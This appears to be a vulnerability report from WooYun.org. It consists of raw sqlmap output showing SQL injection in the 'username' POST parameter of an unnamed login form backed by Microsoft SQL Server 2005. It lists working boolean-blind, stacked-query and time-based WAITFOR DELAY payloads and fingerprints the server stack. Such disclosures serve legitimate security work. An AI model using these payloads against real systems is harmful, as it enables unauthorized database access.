WooYun.org

[18:59:13] [INFO] testing connection to the target URL
[18:59:13] [INFO] testing if the target URL is stable. This can take a couple of
 seconds
[18:59:14] [INFO] target URL is stable
[18:59:14] [INFO] testing if POST parameter 'username' is dynamic
[18:59:14] [INFO] confirming that POST parameter 'username' is dynamic
[18:59:14] [WARNING] POST parameter 'username' does not appear dynamic
[18:59:14] [WARNING] heuristic (basic) test shows that POST parameter 'username'
 might not be injectable
[18:59:15] [INFO] testing for SQL injection on POST parameter 'username'
[18:59:15] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:59:15] [INFO] POST parameter 'username' seems to be 'AND boolean-based blind
 - WHERE or HAVING clause' injectable
[18:59:17] [INFO] heuristic (extended) test shows that the back-end DBMS could b
e 'Microsoft SQL Server'
do you want to include all tests for 'Microsoft SQL Server' extending provided l
evel (1) and risk (1) values? [Y/n]
[19:00:12] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[19:00:12] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[19:00:12] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[19:00:12] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause (IN)'
[19:00:12] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[19:00:12] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or
 HAVING clause'
[19:00:13] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or
 HAVING clause (IN)'
[19:00:13] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter r
eplace'
[19:00:13] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter r
eplace (integer column)'
[19:00:13] [INFO] testing 'MySQL inline queries'
[19:00:13] [INFO] testing 'PostgreSQL inline queries'
[19:00:13] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[19:00:13] [INFO] testing 'Oracle inline queries'
[19:00:13] [INFO] testing 'SQLite inline queries'
[19:00:13] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[19:00:13] [WARNING] time-based comparison requires larger statistical model, pl
ease wait.
[19:00:13] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[19:00:13] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[19:00:23] [INFO] POST parameter 'username' seems to be 'Microsoft SQL Server/Sy
base stacked queries' injectable
[19:00:23] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[19:00:33] [INFO] POST parameter 'username' seems to be 'Microsoft SQL Server/Sy
base time-based blind' injectable
[19:00:33] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[19:00:33] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[19:00:33] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[19:00:34] [INFO] target URL appears to have 5 columns in query
injection not exploitable with NULL values. Do you want to try with a random int
eger value for option '--union-char'? [Y/n]
[19:00:36] [WARNING] if UNION based SQL injection is not detected, please consid
er forcing the back-end DBMS (e.g. '--dbms=mysql')
[19:00:36] [INFO] checking if the injection point on POST parameter 'username' i
s a false positive
POST parameter 'username' is vulnerable. Do you want to keep testing the others
(if any)? [y/N]
sqlmap identified the following injection points with a total of 62 HTTP(s) requ
ests:
---
Parameter: username (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: username=88952634 ' AND 9903=9903 AND 'QHqk'='QHqk
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: username=88952634 '; WAITFOR DELAY '0:0:5'--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: username=88952634 ' WAITFOR DELAY '0:0:5'--
---
[19:00:37] [INFO] testing Microsoft SQL Server
[19:00:37] [INFO] confirming Microsoft SQL Server
[19:00:38] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, Microsoft IIS 7.5, ASP.NET
back-end DBMS: Microsoft SQL Server 2005